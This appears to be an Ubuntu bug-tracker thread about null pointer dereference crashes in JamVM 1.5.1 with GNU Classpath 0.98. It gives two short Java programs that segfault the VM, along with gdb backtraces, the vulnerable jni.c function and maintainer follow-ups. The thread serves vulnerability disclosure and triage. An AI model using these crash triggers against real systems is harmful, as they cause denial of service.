Null pointer dereference vulnerabilities in JamVM

[E.Kellinis]

Null pointer dereference vulnerabilities in JamVM caused by not handling a NullPointerException in GNU Classpath
JamVM version 1.5.1 and Classpath 0.98

The following bugs result in crashing the JamVM due to dereferencing a null object (or more precisely a pointer).
Some explanation on how the bugs work follow:

Let's start by showing the malicious code:

class test3 {
public static void main(String[] args) {
 (new java.awt.PopupMenu()).show(new java.awt.Button("a"),5,5);
     }
  }

So what we've done above is create a popup menu without a parent container. The show() method in java.awt.PopupMenu
will work only if the PopupMenu is added to a parent and when the parent is visible, otherwise it should throw a
NullPointerException, RuntimeException or IllegalArgumentException.

In our (JamVM) case thats not happening, and the object (pointer) is null, which then travels and is dereferenced
at Jam_GetObjectField inside jni.c

Vulnerable function (jni.c) :
00803 jobject Jam_GetObjectField(JNIEnv *env, jobject obj, jfieldID fieldID) {
00804 FieldBlock *fb = (FieldBlock *) fieldID;
00805 Object *ob = (Object*) obj;
00806 return (jobject) addJNILref((Object*)(INST_DATA(ob)[fb->offset]));
00807 }

TEST@LP:~/test$ jamvm test2
Segmentation fault (core dumped)

GDB output and ob
(gdb) bt
#0 0x08058dfb in Jam_GetObjectField (env=0x807617c, obj=0x0, fieldID=0x8d979b8) at jni.c:806
#1 0xad33e3a6 in gtkpeer_get_widget () from /usr/lib/classpath/libgtkpeer.so
#2 0xad334832 in Java_gnu_java_awt_peer_gtk_GtkPopupMenuPeer_setupAccelGroup () from /usr/lib/classpath/libgtkpeer.so
#3 0x0806e48b in callJNIMethod (env=0x807617c, class=0x0, sig=0x8e44030 "(Lgnu/java/awt/peer/gtk/GtkGenericPeer;)V", ret_type=134701472, ostack=0x8db5d40,
    f=0xad3347f0 "U\211å\203ì\030\211]ôè\231øþÿ\201Ãöç", args=134701436) at dll_md.c:67
#4 0x08053011 in callJNIWrapper (class=0x0, mb=0x8e4a560, ostack=0x8c5a29c) at dll.c:418
#5 0x08053cbc in resolveNativeWrapper (class=0xafe50c58, mb=0x8e4a560, ostack=0x8c5a29c) at dll.c:212
#6 0x0806e0d0 in executeJava () at interp.c:2267
#7 0x08054c37 in executeMethodVaList (ob=0x0, class=0xafe2bf60, mb=0x8d5c970, jargs=0xbfaf6000 "") at execute.c:101
#8 0x08054d42 in executeMethodArgs (ob=0x0, class=0xafe2bf60, mb=0x8d5c970) at execute.c:73
#9 0x0804acbb in main (argc=2, argv=0xbfaf6124) at jam.c:350
(gdb) print ob
$1 = (Object *) 0x0

similarly and with the exact same ending is java.awt.FileDialog and addNotify

class test2 {
public static void main(String[] args) {
(new java.awt.FileDialog(new java.awt.Frame(),"test")).addNotify();
     }

TEST@LP:~/test$ jamvm test2
Segmentation fault (core dumped)

GDB output
(gdb) bt
#0 0x08058dfb in Jam_GetObjectField (env=0x807617c, obj=0x0, fieldID=0x998db70) at jni.c:806
#1 0xad2703a6 in gtkpeer_get_widget () from /usr/lib/classpath/libgtkpeer.so
#2 0xad262e0d in Java_gnu_java_awt_peer_gtk_GtkFileDialogPeer_create () from /usr/lib/classpath/libgtkpeer.so
#3 0x0806e48b in callJNIMethod (env=0x807617c, class=0x0, sig=0x99bc380 "(Lgnu/java/awt/peer/gtk/GtkContainerPeer;I)V", ret_type=2, ostack=0x984d2e0,
    f=0xad262dd0 "U\211åWVSè¼2ÿÿ\201Ã\031\"\001", args=3) at dll_md.c:67
#4 0x08053011 in callJNIWrapper (class=0x0, mb=0x99bd2c8, ostack=0x984d2e0) at dll.c:418
#5 0x08053cbc in resolveNativeWrapper (class=0xafd60588, mb=0x99bd2c8, ostack=0x984d2e0) at dll.c:212
#6 0x0806e0d0 in executeJava () at interp.c:2267
#7 0x08054c37 in executeMethodVaList (ob=0x0, class=0xafd5df58, mb=0x994f9c8, jargs=0xbf929e30 "") at execute.c:101
#8 0x08054d42 in executeMethodArgs (ob=0x0, class=0xafd5df58, mb=0x994f9c8) at execute.c:73
#9 0x0804acbb in main (argc=2, argv=0xbf929f54) at jam.c:350

Note that if we use this code in Kaffe, it will fail an assertion in both cases:

TEST@LP:~/test$ kaffe test2
kaffe-bin:
/build/buildd/kaffe-1.1.8/build-tree/kaffe-1.1.8/libraries/javalib/external/classpath/native/jni/classpath/native_state.c:176:
cp_gtk_check_compat: Assertion `(*env)->IsAssignableFrom(env, objclazz,
table->clazz)' failed.
Aborted (core dumped)

TEST@LP:~/test$ kaffe test3
kaffe-bin:
/build/buildd/kaffe-1.1.8/build-tree/kaffe-1.1.8/libraries/javalib/external/classpath/native/jni/
classpath/native_state.c:176: cp_gtk_check_compat: Assertion
`(*env)->IsAssignableFrom(env, objclazz, table->clazz)' failed.
Aborted (core dumped)

------
These bugs have been reported as security vulnerabilities as they lead to Denial of Services

[Jamie Strandboge (jdstrand)]

Thank you for using Ubuntu and taking the time to report a bug. Is this something that you discovered? Has it already been reported upstream and public?

[E.Kellinis (e.k)]

Hi Jamie,

I did discover these issues, it has been reported to http://gcc.gnu.org/bugzilla/show_bug.cgi?id=39359 due to the involvement
of GNU classpath in the issue but it has not been reported to jamvm directly.

[Jamie Strandboge (jdstrand)]

Marking public as all information is also in the upstream report.

[Xerxes Rånby (xranby)]

Hi the new JamVM + OpenJDK combination that we use in oneiric pass the test.
It throws a NullPointerException.

(oneiric)xranby@trimslice:~$ java test340201
Exception in thread "main" java.lang.NullPointerException: parent is null
 at java.awt.PopupMenu.show(PopupMenu.java:149)
 at test340201.main(test340201.java:3)

(oneiric)xranby@trimslice:~$ java -version
java version "1.6.0_23"
OpenJDK Runtime Environment (IcedTea6 1.11pre) (6b23~pre8-1ubuntu1)
JamVM (build 1.6.0-devel, inline-threaded interpreter with stack-caching)

(oneiric)xranby@trimslice:~$ cat test340201.java
class test340201 {
public static void main(String[] args) {
 (new java.awt.PopupMenu()).show(new java.awt.Button("a"),5,5);
     }
  }

[Xerxes Rånby (xranby)]

gnu classpath 0.99 have been released.
http://blog.fuseyism.com/index.php/2012/03/16/gnu-classpath-0-99-released/
please test jamvm, kaffe and cacao against this new version.